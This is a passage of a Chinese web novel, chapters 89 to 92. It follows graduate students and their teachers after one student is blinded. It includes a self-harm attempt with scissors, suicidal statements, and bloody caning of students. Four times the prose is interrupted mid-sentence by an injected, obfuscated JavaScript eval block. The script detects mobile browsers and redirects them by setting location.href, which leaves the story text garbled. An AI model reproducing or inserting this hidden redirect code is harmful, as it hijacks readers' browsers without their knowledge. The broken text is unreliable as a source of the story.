师母暗暗叹气,嘴上却还是笑:“没事,这样师母也能剪。”说着拿了枚木梳,将柏阅冬几乎打结了的头发一绺一绺梳开,变换着各种角度端详,仿佛要给大明星做个亮相造型。但是大明星始终低着头,不知道在想什么。 师母食指和中指夹起柏阅冬前额一层薄薄的头发,另一手夹着剪刀,三下五除二,黑色的碎发就“唰唰”落下。这是左侧的头发,柏阅冬唯一一只眼睛能清晰地看见头发落下时的影影绰绰,随着师母的手指渐渐往右移动,左侧的世界亮了起来,但他伸手按住了右侧前额的头发,如同按灭了光源。 “怎么了?” “不要剪。” 师母看看丈夫,叹息道:“好,不剪这里,师母给你剪剪后头。” 感觉到师母放弃了这一块头发,柏阅冬才缓缓放手。 伤口虽然愈合了,但是伤疤永远也去不掉了。 剪发的声音细细碎碎,柏阅冬缓缓抬头,看见眼前的书桌右前方摆着一个相框,装裱着一张秦嘉辰的照片。那是刚上大学的秦嘉辰,笑容灿烂,像一枝盛开的玫瑰。 柏阅冬想,他失去了眼睛,失去了辰辰,失去了本该美好的未来,他失去了一切。 “先这样,”师母把梳子和剪刀都放在桌上,小心解开围在孩子脖子上的毛巾,尽量不让碎发落在他身上,等完全解开了,才在旁边抖了抖,“晚上洗洗头就成。老秦,你看着,我去拿扫把来扫一扫。” 秦昭阳被这一屋子头发搞得心烦,赶紧打开门催她出去:“快点,等会头发飞得哪里都是。” 柏阅冬似乎没有听到老师和师母在说什么,只是一直盯着桌上的剪刀,他想,这么尖的剪子,一定很好用吧。 “那有什么办法?能不剪吗?”师母念念叨叨地走出去,嘴上不停,“还是你求着我来剪呢!现在又嫌弃起来了,真是……” “别说这么多废话了,赶紧的!”秦昭阳嫌恶地瞧了一眼满地的头发,余光却抓住了一缕银色,电光石火间,他想,什么东西是银色的? 可是还没等想出答案,人已经扑了过去,根本顾不上那是什么,伸手一抓,尖锐痛感顿时扎破了所有堵塞的思路,鲜红的血液从他的指缝中缓缓淌下来。 “不要这样,阅冬。” 柏阅冬仍抓着那把剪刀,刀尖原本直直朝向自己完好的左眼,现在却被师父硬生生扭转开了。 “师父,没有用了,剩一只眼睛,没有用了!”柏阅冬用力一抽,想把剪刀抽出来,却被师父死死抓住,“师父,我想死,我想死!!” “想想辰辰!”秦昭阳大吼,眼眶通红,“你想想辰辰,你让她怎么办!” 师母在外头听到声响,忙忙跑了过来,一见丈夫满手的血,还死死地抓着剪刀,吓得扫把都掉了,一跺脚,叫嚷起来:“这是做什么?快放开快放开!” 柏阅冬一仰头,眼泪直直流向两侧,手中的剪刀也松了些许。秦昭阳顺势夺了剪刀,出去包扎伤口了。 柏阅冬一个人在房里呆坐到天黑。秦昭阳很晚才进来,他受伤的左手严严实实地裹着白色纱布,怀里抱一个大本子,冲小孩笑了笑:“来,给你看好东西。” 所谓的好东西,不过是秦嘉辰的一本相册,里面贴着她从小到大的相片,大部分是黑白的,小部分是这两年拍的彩色照片。彩色照片普及之后,秦嘉辰去拍了好些,每次回来都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136239|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟爸爸妈妈显摆一番。 秦昭阳捧着相册坐在柏阅冬身旁,一张一张给他解说:“这是她四岁的时候,她小时候性格很怪,不像我,也不像她妈妈,不怕人,也不黏人,一个人就能玩一下午。这张是她跟你师母,是不是一点也不像?长大了反倒有点像了……这个,去年春天拍的,那会你们俩是不是好上了?我说她那会怎么天天这么开心……” 柏阅冬虽然不说话,可全听进去了,受伤的右眼在黑发后面一眨一眨,淌下一行行眼泪。 “师父。” “嗯,怎么了?” 柏阅冬头一低,眼泪正好掉在相片里秦嘉辰的笑脸上:“别让她回来。” 秦昭阳把相册往桌上一放,伸手抱住了他:“她有自己的选择,对吗?” “可是,我已经配不上她了,她不应该嫁给一个瞎子。” 秦昭阳不知如何去回,只是将他抱得更紧了。 柏阅冬回来的消息没几天就传了出来。刘巍思一天下午回家的时候碰到柏阅冬的师母,便在路上聊了几句,还说等有空一定会去看他。 原本刘巍思这段时间情绪也很低落,听说柏阅冬回来之后的情况,更是唉声叹气不止。可他回到家,还没开门就听见里面爽朗的笑声。 “爸,您可别笑,我花了好大的功夫才弄到一台电视来,给您看个新鲜。” “也不是非得弄,你说看这新闻,跟我看报纸不是一样吗?” “哪能一样啊?这能看的可多了!” 严铮托人买到一台电视,一整个下午就在家里头给严先生弄这个,好不容易才搭好线,总算是让严先生看上了。严先生没觉得这电视多好看,倒是儿子满头大汗的,让他心里又酸又甜。 刘巍思在门外呆了一会儿才进来:“老师,师兄,我回来了。” 严先生一见他,兴奋地指着电视:“你快来看,你师兄弄来的新鲜玩意儿!” 刘巍思本想告诉老师阅冬回来了,可是一见到老师这么高兴的样子,又说不出口了,只道:“老师和师兄看吧,我文章还没写,好不容易有点思路,先去写一点。” “好,你也不要急,慢慢来就是了。” “我知道,老师。” 89.第 89 章 新招收的研究生名单确定下来了,纪慎在学院开了一下午会,头昏脑胀地回到家里,才想起家里这个还没解决,正巧庄遂平在客厅溜达,便叫住了他:“上次让你想的事情,想好没有?” 退学的事。庄遂平抿抿唇,没有说话。 纪慎本就心浮气躁,看他不说话,更加气恼,声音不由得高了几分:“也没必要想了,老老实实读完书,论文写出来,让你毕业。反正你那个什么退学申请书,我不签字,你也走不成。” 庄遂平这几日平静些许,可纪慎这么强硬地说话,又让他难受了起来,咬咬牙,梗着脖子问:“您是在威胁我吗?” “威胁?我让你读书是害了你吗?我到底做了什么对不起你的事情让你变成这副样子?现在严老师秦老师都出了事,你也非要让我出事才高兴是吗?” 庄遂平猛地握紧拳头,压着声音:“我从来没想过让您出事,我也没有做过任何对您不利的事情,我这种不上进不聪明的学生,退学了对您并没有什么坏处。” 纪慎差点一口气上不来闷死过去:“别说这两个字了!你有时间在这里晃晃荡荡,不如滚去写论文,论文写好早日毕业,就可以有多远滚多远了!” ?“我现在也可以有多远滚多远!您不过是在乎严老师的看法才把我接回来,您又不会真的在意我,我也不会指望住进来就像巍思和阅冬一样!” “好啊,你滚!你滚!” 师生俩都不理智了,庄遂平看着他,渐渐红了眼眶,正要如他所愿滚了,屋门却被拉开了。纪慎的妻子背着包,提着菜走进来,神色莫名地看看他们,随后站在玄关处换了鞋,平静道:“遂平,来帮我提东西。” 纪慎差点脱口而出一句“他要滚了”,可是对上学生绯红的眼尾,还是把话咽回了肚子里。 庄遂平气冲冲地走到门口,真恨不得把门一推,头也不回地走掉,可是话又传了过来。 “帮我把这些提到厨房吧。” 庄遂平鬼使神差地接过一把青菜,往厨房去了。 水龙头打开,水声“哗哗”地遮掩着别的声音,庄遂平埋头洗菜,虽然已经尽力克制了,可眼泪还是一颗一颗往菜盆里掉。 女人不知什么时候走到他的身后,默默关掉了水龙头:“你还是很在意他,以前沅沅和他吵架,从来不哭。” 被发现了,也没必要再伪装,庄遂平手里的菜一丢,捂着眼睛呜咽起来。 “他不是一个好父亲,也不是一位好老师,我不会替他说什么,如果你真的觉得很难过,就走吧。” 是很难过,可庄遂平摇了摇头。 他不知道自己为什么摇头,也许是心中还有很多难言的期盼,还有不切实际的幻想,总之,当纪慎叫他滚的时候,他并不觉得轻松快意,只有哀伤如乌云般沉沉压下。 “没事的,留下也可以的。” 女人似乎察觉了什么,扶着他的肩膀转了个方向,轻轻搂住他。 “谢谢,谢谢。”庄遂平几乎是靠在这个柔弱的女人身上,夹着哭腔一直道谢。 “没事的,”女人拍着他的背,“你要是不愿意叫师母,就叫我一声阿姨吧,没事的。” 庄遂平闷着点了点头,其实他不是不愿意,只是不敢。他不敢再承认自己是纪慎的学生,也不敢再宣称他们之间的师生关系,这一段关系,已经耗尽他所有的心力了。 三个人闷闷地吃了晚饭,纪慎留下来洗碗筷。洗到一半,忽然听到敲门声,纪慎烦躁地甩甩手上古代水,趿着拖鞋去开门:“哪位?” “纪老师好,是我。” 门外站着刘巍思,礼貌的笑容里带着勉强,上扬的嘴角似乎随时会压下。纪慎顿时没了脾气,问:“你怎么来了?” “我来找遂平,也有一段时间没见他了。” 纪慎往屋里让了让:“先进来吧,他刚吃了饭,回房去了,我喊他去。” 刘巍思进了屋,反身关门,就听见纪老师边往次卧走边喊:“庄遂平!出来!刘巍思找你来了!” 总感觉话里头有火气。 次卧的门没有开,纪慎不耐烦地“砰砰”敲门:“开门!出来!!刘巍思在外面!” 刘巍思心头一跳一跳的,担心自己来的不是时候,要是他冒昧走一趟,搞得人家师生不和,那真是罪过。 好在庄遂平仍看在同学的面子上开门出来了,只是见到纪慎的时候,面无表情地瞥了一眼,并没有话。 刘巍思可太尴尬了,两手一摊:“要不要下去散散步?” 庄遂平正好也不想在这里和他说话,便点了点头。 两个年轻人一前一后离开,只有刘巍思和纪慎说了再见。待得家门被关上,纪慎抓起洗碗布,恼怒地扔进了水池里。 细细的水珠飞溅一片。 天气已经暖和,夜间也有不少人出来散步消食,牵着小孩的,遛着狗的,提着鸟笼的。刘巍思和庄遂平默契地往图书馆的方向走,渐渐远离了身后的宿舍区。 “遂平,你和纪老师吵架了吗?” 庄遂平眼睛盯着地面,闷闷道:“他叫我不要退学。” “那不是很好吗?你本来也不想退学啊!” “可是我也没有办法再学了,他在乎的只是我能不能把论文写出来,能不能毕业,他根本,”庄遂平眼眶酸涩,“他根本不在乎我。” 刘巍思一时无话,过了好一会儿,才道:“遂平,我不是要为纪老师说话,只是,我觉得不是你想的那样,如果他不在乎你,才不会管你是不是要退学,才不会让你住他家里。纪老师以前从来不让学生去家里的,我去过几次,也是我老师的缘故。” “纪老师对你,还是不一样的。” 庄遂平自嘲地笑了笑,没有说话。刘巍思知道这种事情不好劝,便也适时住了嘴。 校道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160324|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁骑过两辆自行车,车铃“丁零零”地响。刘巍思拉着庄遂平,往路边站了站,待车子骑过去,才又走起来。 “还没问你,怎么突然来找我。” 刘巍思抿抿唇,道:“阅冬回来了,住在秦老师那里,但是他师母说他现在不肯出房间,也不肯见人,我不能去看他,先来跟你说一声,以后有机会了,再一起去看看他吧。” 庄遂平长长地呼出一口气,本该说些安慰的话,可是脑子里一句也想不出来。 “还有别的事吗?”庄遂平看向他,仿佛看穿了他的心。 刘巍思心虚地移开视线,想说没有,可还是点了头。 “巍思,我能感觉到,是你和严老师?” 刘巍思叹气,往前面的长椅走去,也不管脏不脏,一屁股坐了下去,道:“我老师有儿子。” 庄遂平跟着坐,心想,严老师有儿子不是很正常吗? “我一直以为他没有,”刘巍思自顾自道,“他没提过,可是前段时间,他儿子突然就回来了。” 庄遂平已经知道他接下来要说的话了,伸手拍拍他的背:“他会一直留下吗?” 刘巍思摇摇头:“我不是怕这个,严师兄,就是老师的儿子,他在国外有家庭,有工作,他只是过来出差,可是……可是……” “可是什么?” “我听到他们吵架了。”刘巍思两手捂住脸,脑海里浮现出下午家里的场景来。他在房里,刚睡醒午觉,听见师兄隐隐约约的声音。 “……您就一点都不动心?那可是……” 迷糊中他听不见老师的回答,只有师兄的声音一直传进来:“到时候就不只有我了,还有您儿媳妇,您孙子!” “研究文学么?哪里不能研究?欧洲多的是研究中国古代文学的学者,您不想见见?” “严铮,”刘巍思眼睛一睁,他终于听见老师的声音了,“欧洲多的是,所以我去不去也不重要,但是这里需要我。” “需要您吗?您不会以为自己在这里很重要吧?”听上去,师兄已经失去耐心了,“再怎么需要您,还不是因为一个学生做错了事就停了您的招生资格?!” 沉默,房子陷入了沉默,刘巍思甚至屏住了呼吸。 “只是一年而已。” “那之前的十年呢?” “严铮,这不是你能置喙的。” “冥顽不灵!” 刘巍思攥紧了被角,生怕老师被气着了,可是没吵多久,师兄就摔门走了。刘巍思想出去,又怕老师难堪,于是度秒如年地躺了二十分钟才装作刚刚睡醒的样子出房间,还假模假样地问今天师兄怎么没来,严先生只笑笑说,他今天忙,不过来。 庄遂平听完他的转述,却不大担心:“这不正说明严老师根本不想走吗?” “不是的,”刘巍思摇了摇头,“老师一下午都很失落,他一定很后悔拒绝了师兄。” 90.第 90 章 父子没有隔夜仇,前一天下午才吵了架,第二天一早严铮就来做早餐了,以至于刘巍思看到他时吓了一跳。 “师兄,您、这么早……” 严铮笑笑,却没有往常的开朗大方,反而更显得郁郁不乐:“我这么多年没在我爸面前尽过孝,趁着这几个月在这里,多陪陪他。” 刘巍思想,师兄就算离开老师这么久,性情也和老师一脉相承,果真是亲父子。 不仅是刘巍思,严先生出来的时候也明显怔住了,还是严铮笑着给他拉开椅子:“爸过来吃早饭吧,今天要查什么资料,我帮您。” 严先生点了点头,坐下时却长长地叹息了一声。 刘巍思脑海里冒出一个念头:老师要走了。 这个念头在一个颇为炎热的下午得到了证实。刘巍思从图书馆回来,满头大汗地打开冰箱看有没有水果,跟往常一样大喊:“老师,我回来了!” 但回答他的只有严铮的声音,从书房传出来,不甚清晰。 刘巍思茫然地关上冰箱门,往书房走去,汗水还在脸上乱淌,眼睫毛湿成一团,他看什么都带着一团黑点。 他看见严铮踩在椅子上,正从书架的最高层找书,找了几本就拿在手上,地上放着两个纸箱,其中一个装满了大大小小的书,另一个还半空着。 “师兄,您在做什么?” 严铮低头笑了笑,说:“我爸出去了,我帮他收拾点常用的书。” 为什么要收书?还是收常看的书。刘巍思低头看向那两个纸箱,仿佛看见严铮装满那个半空箱子之后就要找绳子裹起来,和其他的行李放在一起。 再之后,就是老师换上干净的衣裳,和他说再见,离开这个屋子,再不会回来。 鬓角的汗水顺着下颌线淌,痒痒的,刘巍思抬手擦了,没有说话,扭头走了。 严铮一头雾水,却没追问,只继续收书了。 那天下午,严铮收完书以后就把箱子抱走了,严先生是傍晚才回来的,父子俩刚好错开,可就算是房子里只剩下严先生和刘巍思,气氛也不对了。 刘巍思没打算做饭吃,讪讪道:“老师,我今晚想去陪陪阅冬。” 严先生总觉得最近跟孩子说话少了,可他要去看同学,也不能拦着,只得点点头:“你去了也帮老师问声好,看看阅冬还有你秦老师家里有什么要帮忙的。” “我知道。”刘巍思走到玄关,换了鞋,手都放到门把手上了,忍不住补了句,“老师,我,我可能陪阅冬到晚一点,等会您和师兄先吃晚饭吧,您今天也累了,早些休息。” 严先生缓缓点了点头,目送小孩出了门。 刘巍思撒了个谎,却还是想把这个谎圆上,抱着一丝希望来到了秦昭阳家。他敲门时,秦昭阳夫妇正在吃晚饭,见他来了,忙招呼他一起吃,刘巍思只是摆摆手,说:“阅冬呢?我想见见他。” 夫妻俩面面相觑,均是一脸为难。秦昭阳道:“阅冬他还不肯出来吃饭,都是他师母送进房间吃的,前些日子童院也来看了,他不肯见人。” 刘巍思轻轻点头,更加失落了些:“我知道了,那我先……” “你、你等等,我去问问他……” “不用了,秦老师。”刘巍思有点想哭,印象中秦老师虽然资历没有其他老师深,但上课很幽默,口才了得,也常常有别人想不到的点子,可是阅冬出事之后这几个月,他竟然在那个意气风发的秦老师身上看见了局促。 “秦老师,辛苦了。” 秦昭阳尴尬地笑了笑,更显不安:“辛苦什么?他出了这样的事,根本接受不了,我不看着他,难道让他自生自灭吗?” 刘巍思想安慰几句,又觉得言语实在苍白,便道:“那我先走了,等阅冬愿意见人了,我再来看他,老师也很担心他,秦老师等会帮我和老师给他带声好,如果家里有什么要帮忙的,秦老师就打电话来吧,我们会尽量帮忙的。” 秦昭阳点了点头:“好,严老师的好意,我们心领了。” 就这样,刘巍思到人家家里站了一会,没坐,也没喝上一口水,便不上不下地出去了。 秦昭阳关了门,满怀惆怅,饭也不吃了,进房里找柏阅冬。柏阅冬刚吃完,碗筷还放在桌上,等着人来收拾。 “刘巍思来看你,你也不见见?” 柏阅冬没有说话。 秦昭阳坐在他旁边,故作轻松:“怎么?你把他也记恨上了?你们俩以前最要好的。” 柏阅冬眼里泛起了泪花,朦胧视线中,仿佛看见他和刘巍思走进小酒馆里吃烤肉,又看见他们一起在图书馆看书,还有一起坐在会议室里上课,被纪老师骂得狗血淋头…… 恍如隔世。 “师父,没有办法,再像以前一样了。” 秦昭阳摸摸他的脑袋,说:“有些事情是不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160325|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样了,可你还是师父的学生,还是学校的研究生,你的毕业论文写完了,照样可以毕业,可以考博士,可以……” “师父,谁会收一个瞎子读博士?” 秦昭阳心里回答得很大声,说我会,可是他还没有取得博导资格,他也没办法保证接下来的时间足够他去申请博导。 “不要瞎想,船到桥头自然直,师父已经把你宿舍和办公室的东西收回来了,搬进来,好不好?” 柏阅冬呆呆地点了点头。 刘巍思下了楼,没有回家,在学校里晃晃荡荡,最后在草地上坐着拔草玩,听草丛的虫子此起彼伏地鸣叫。 好巧不巧,这一晚,严铮没有来。 严铮在八点多的时候来了电话,说晚上跟出版社的人谈事情,没空过去了。严先生心里空落落的,等到快十点,刘巍思还是没有回来。 不知是不是人老了,严先生突然很想小孩,于是打了个电话过去,想催刘巍思回家,可是就在电话接通的那一瞬间,他好像想明白了。 “您好,请问哪位?” 严先生平静道:“昭阳,我是严老师。” “严老师晚上好,怎么这么晚了还打电话过来?” “今天巍思不是去看冬冬了吗?我让他帮我带声好,这孩子丢三落四的,我怕他话说不清楚,还是给你打个电话好一点。” 秦昭阳在那头笑了出来:“严老师可别怪巍思,巍思六七点那会就来了,老师的问好,他也带到了。只是阅冬还不愿意见人,巍思特地跑一趟,怪累的。” 严先生心想,他果然没有留在秦昭阳家里,但是也没有回来。 严先生不动声色,聊了几句柏阅冬的近况,才挂了电话。 刘巍思十一点多才从外面回来。这个点,校园里面都没人了,也就图书馆还亮着一部分灯。他不困,也不饿,没有任何欲望。 到了家门口,他特地放轻了动作,连掏钥匙都轻轻的,生怕钥匙的响动吵醒了老师。可没想到,门往里推开的那一瞬间,明亮的灯光立刻照了出来。 他一惊,走进屋里,竟看见老师坐在沙发上。 刘巍思满满拉上门,唤了一声:“老师。” “你过来。” 刘巍思连鞋也没有换,径直走到老师跟前,然后他就看见了放在茶几上的竹鞭。 严先生抬起头,脸上没有一点笑意,冷冷道:“跪下。” 91.第 91 章 刘巍思早就预料到这样的后果,只是没想到是在如此寂静的深夜。他心中默默冷笑,跪下,双手捧起那根竹鞭,挪动膝盖到了老师跟前。 严先生并没有要求他这样做,但他还是选择了一种非常屈辱和自虐的方式。 但今晚严先生并未制止他,只是沉默着接过竹鞭,冷眼看着学生自觉褪下裤子,趴在了旁边的沙发上。 严先生幽深的瞳孔中看不见情绪,只有竹鞭的残影挥过,随后“啪啪啪”声接连响起,竹鞭狠狠抽在刘巍思的臀上,一连十下,没有喘息之机。 猛烈而急促的疼痛逼得刘巍思不由自主地颤抖,十下过后,才长长地呼出一口气。 老师很少这样狠戾地打他,刘巍思想着,眼眶有点湿了。 “我为什么打你?” 一股酸气涌上鼻尖,刘巍思压着哭腔,道:“我撒谎。” 没有回应,只有继续抽打下来的竹鞭,“咻啪咻啪”地抽在已经遍布血痕的肉团上,刘巍思疼得一抖一抖的,屁股忍不住跟着缩,就连太阳穴都“突突”地震。 “我为什么打你?” 刘巍思闪着眼睫毛,同样冷漠地回答:“晚归。” “啪啪啪啪”,竹鞭继续抽下,抽破了臀尖上伤最重的几处,抽出了一串小血珠,抽得刘巍思咬牙流下了眼泪,可那十下,一下都没少。 “我为什么打你?” “撒谎和晚归。” 竹鞭抽打声仍旧响起,刘巍思整个屁股没有一处好皮了。他好像疼得受不了,两手紧紧握成拳,青筋暴起,脑袋深深地埋进臂弯里,默默咬牙忍耐。 “我为什么打你?” 眼泪已经淌下,刘巍思心中一阵悲怆。他知道老师想听什么,老师在生气什么。撒谎和晚归也是错,可那是好好认个错道个歉就能过去的事情,老师心里过不去的,是在经历了这么多事情之后,他仍然没办法坦诚面对老师,仍然对老师有所保留。 可是他更知道,他并没有什么筹码能跟严铮抗衡,让老师为了他留下。就算他在老师心中真有这么重要,他也不能这样做,就像严铮说的,学校并没有善待老师,只是因为一个学生犯了错,就停了老师的招生资格,还不知道以后会有什么影响。为了老师能安然度过晚年,他应该让老师走。 心脏好像被挖走了一块,刘巍思淌下两行热泪,木然回答:“撒谎和晚归。” 严先生手一抖,却很快扬起了竹鞭,沾了血珠的教鞭在空中一划,重重砸在刘巍思臀上,刘巍思疼得趴不住,往前一撞,小腹硌在坚硬的木沙发边缘,差点让他咬掉舌头。 好疼,老师,巍思好疼。 身后的竹鞭“噼里啪啦”地抽下来,抽得他脑袋直发懵,也不知道到底打了多少,只记得眼前一阵阵发黑,几乎失去知觉。 可是就在他神智不清的时候,他好像仰起了头,模糊的视线中,老师居高临下地问:“我为什么打你?” 他的眼泪淌了一脸,一次次咬紧下唇,最后回答说:“撒谎和晚归。” 于是老师颓然地丢下竹鞭,回房去了,他也终于哭出了声。 这一晚上,师生俩都没睡好,刘巍思屁股疼得睡不熟,严先生是心里堵得睡不着。第二天一早,天还蒙蒙亮,精神倦怠的严先生就听到了关门声,还以为是严铮来了,出去一看,一个人也没有,只有茶几上留着的一张纸。 “老师,我今天要去图书馆查资料,晚上晚点回来,老师不用等我。” 严先生闷闷地放下纸,正好看见昨晚丢在地上的教鞭,上面还沾着几点血迹,过了一晚上,已经干巴巴地贴在上头。严先生想起昨晚把他打成那样,也不知道他上药没有,一大清早的去图书馆,真是…… 不知怎么的,严先生觉得心里空空的。 刘巍思那个屁股,根本坐不下来,在图书馆靠着书架站着看了一个多小时书,其实什么都没看进去,想着自己的未来,只觉茫然。 老师要是今年就走了,他的毕业论文怎么办?学校会把他转给其他老师?秦老师肯定不会接他了,难不成又塞给纪老师?还是童老师?或者随便找个老师接手,反正他的论文今年应该可以写完初稿的。 那毕业以后呢?以前说过的博士呢?不行,不能这样!刘巍思琢磨着,不甘心就这样结束他的学业。就算老师走了,但是老师也是亲自带了他十几年的,如果老师知道他就这样放弃了,也会伤心的。 刘巍思想了想,背着包上学院找纪慎去了。 不巧的是,纪慎今天心情不是很好。 自从那天跟庄遂平吵了几句之后,纪慎天天在家里面对他的冷脸。放在以前,纪慎才不会在乎别人的冷脸,可是每次庄遂平那倔强中又带点委屈的眼神望过来,他就觉得很奇怪,好像他做了什么很对不起庄遂平的事。 这么熬了几天,纪慎再忍不下去了,见到庄遂平的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘巍思脸上现出一点尴尬和心虚,好似之前并为充分考虑到庄遂平,现在这么说,有点对不起他的同窗,声音都弱了些:“遂平说他也学不了了。” “你说什么?” “是他自己说的。” 纪慎眉心一紧,指指门口:“出去!” “我不走,您得帮我看论文。” “不走是吧?”纪慎咬咬后槽牙,“你别后悔!” 92.第 92 章 刘巍思被按在桌子上的时候就后悔了,不仅后悔,而且疑惑,当初拼死拼活非要收他的纪老师怎么转了性,不想要他了?而且为什么他转了性,却还像以前一样打人? 纪慎没心情慢慢教训他,粗暴地将人按下,抓了戒尺就“噼里啪啦”往屁股上抽。隔着裤子,闷响声阵阵,如同他憋在心头的无名火。 刘巍思本就一屁股伤,今天走路都难,更别说挨纪慎的戒尺。他趴在桌上,没挨几下就疼哭了,拍桌踢腿:“纪老师,纪老师!疼!好疼!别打别打!” “现在说别打,晚了!” 自从出了庄遂平的事,纪慎就没有一天好心情,庄遂平碰不得一点,刘巍思倒还皮实,他亲自送上门来,纪慎怎能不满足他? 戒尺接二连三抽下来,如同夏日急雨。刘巍思感受着身后的热辣疼痛,总觉得打出血了,说不定血迹粘在裤子上,等会脱都脱不下来。想到这,他不由得害怕起来,连忙求饶:“纪老师,我错了,我错了,我不敢了,老师饶了我!” 回应他的只有“啪啪啪”的戒尺责打声,算回来,应该也挨了三四十下,可纪慎还是一肚子火,分明抽打着刘巍思,脑子里想的却是庄遂平,一边挥动戒尺一边想,他迟早要收拾庄遂平! “老师!老师!啊!!救命!真的好疼!啊啊啊……”刘巍思惨叫得厉害,好容易才把纪慎的神叫回来。纪慎一抖,好像从梦里醒来一样,看看趴在桌上痛哭的学生,又想想庄遂平,忙把戒尺丢了:“走,别来找我。” 刘巍思哭得一脸泪:“我、我屁股疼,走不动……” “才打你几下?就屁股疼,我看你就是欠收拾!”纪慎骂了两句,想打电话给严先生,又怕打扰他,干脆把电话打到了易堂生的办公室,让易堂生来接他这个不成器的师弟。 要是平时,听到大师兄要来接,刘巍思说什么也得自己走,可偏生这会疼得脑子都不清醒了,只顾哭,哪里顾得上是谁来接? 易堂生的办公室是今年才设的,因为承担了太多课务,没有办公室实在很麻烦,所以就在四楼找了一间小小的房间,平日他就在那里备课和写论文。接到纪慎的电话,易堂生立刻撂下手头的工作,“蹬蹬蹬”下楼来了。 “纪老师。” “快把你这无赖师弟挪走,看见就烦!”纪慎说着,丢过去一沓纸,“还有他的论文,你给他看吧!” 语气里满是不耐烦,易堂生第一反应就是论文写太差了,惹纪老师生气了,忙接了文章,道:“有劳纪老师,回头我教训他。”说罢,对着刘巍思训斥,“还不起来!趴在这里丢人现眼!” 刘巍思缓过来一点,一手撑着桌子,一手向后虚虚捂着屁股,慢慢起身,委屈地看向大师兄,却只得到了大师兄严厉的瞪视。 易堂生冲纪慎鞠了个躬:“纪老师,我先带巍思走,改明儿让他来给您认错。” “不必了,我忙得很,没空天天看他。” 易堂生瞪了刘巍思一眼:“把纪老师气成这样,还不道歉!” 刘巍思拖着重伤的屁股,往大师兄身边走了两步,同样对纪慎鞠躬:“纪老师,对不起,我知道错了。我先跟大师兄走了,纪老师再见!” 纪慎埋头翻着手里的文件,根本不管师兄弟俩是道歉还是道别,也没有再说一句话,直到办公室再次恢复沉寂。 脑海里不知怎么的又浮现出庄遂平在这里挨打的场景来,纪慎不由得想,是不是打他打太重了?可是,可是他也很少喊疼,很少求饶,很少诉说自己的委屈。 纪慎又想起自己的儿子来,纪沅性格很外向,从来不把事情藏在心里,小时候挨打,疼了就要哭,长大一点就会边挨打边骂亲爹,再长大一点就会动手夺下纪慎手里的戒尺、皮带和棍子,纪慎就再也打不了他了。 可是庄遂平……纪慎长长地吐出一口气,眉心皱得更紧了。 刘巍思一瘸一拐地跟着大师兄上了楼,万分煎熬地进了大师兄的办公室,还以为可以歇一会,可没想到大师兄的声音冷冷传来:“把门关上。” 刘巍思心如死灰,把门关上,接下来要做什么,是确定无疑的事,可是他的屁股…… 要说刘巍思最怕的人,不是严先生,也不是纪慎,而是他面前这位大师兄。虽然只是师兄,但也能名正言顺地教训他,而且老师又不在,连个拦的人都没有…… 刘巍思后悔莫及,早知道今天就不要出门了,就该在家里床上趴着,说不定老师还会来哄哄他。 想到老师,心中的委屈更加浓烈,眼角又湿润了些。 刘巍思默默关上门,“咔哒”一声反锁。 易堂生已拿起了戒尺,点点桌子边缘:“过来趴着,裤子脱了。” 刘巍思怯怯地看了大师兄一眼,摘下挎包放在门边的沙发上,慢慢走了过去。 “师兄,纪老师已经打过了。” “纪老师打过了是纪老师的事,跟我没有关系。” “可是,”刘巍思忍不住哭腔,眼泪也跟着淌下来,“我屁股疼,裤子脱不下来。” 易堂生只当他是想求饶逃 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“现在知道求师兄不要打了,惹纪老师生气的时候呢?” “我知道错了,我真的知道错了,以后再也不会了,求求大师兄,饶我一次!大师兄,好痛,真的好痛……” 易堂生看着他一屁股的伤,生怕再打他连路都走不了,可是他说要教训人,就从来没有半路把戒尺放下的,于是按住他,说:“忍着!” 刘巍思怕得要死,大声喊起来:“不要!大师兄不要!啊!”他一声尖叫过后,才发觉戒尺没有抽上臀部,而是打在臀腿处,那处虽然也疼,却比屁股好得多,一时间竟有点庆幸。 其实那里刚刚也被纪慎打成了通红,易堂生瞄准这处伤比较轻的地方,“啪啪啪”地落下戒尺,结结实实地给这块皮肉上色升温。 刘巍思疼得七荤八素的,边挨边求饶:“大师兄,求您别打,明天再打,要疼死了……啊!啊!救命啊!” 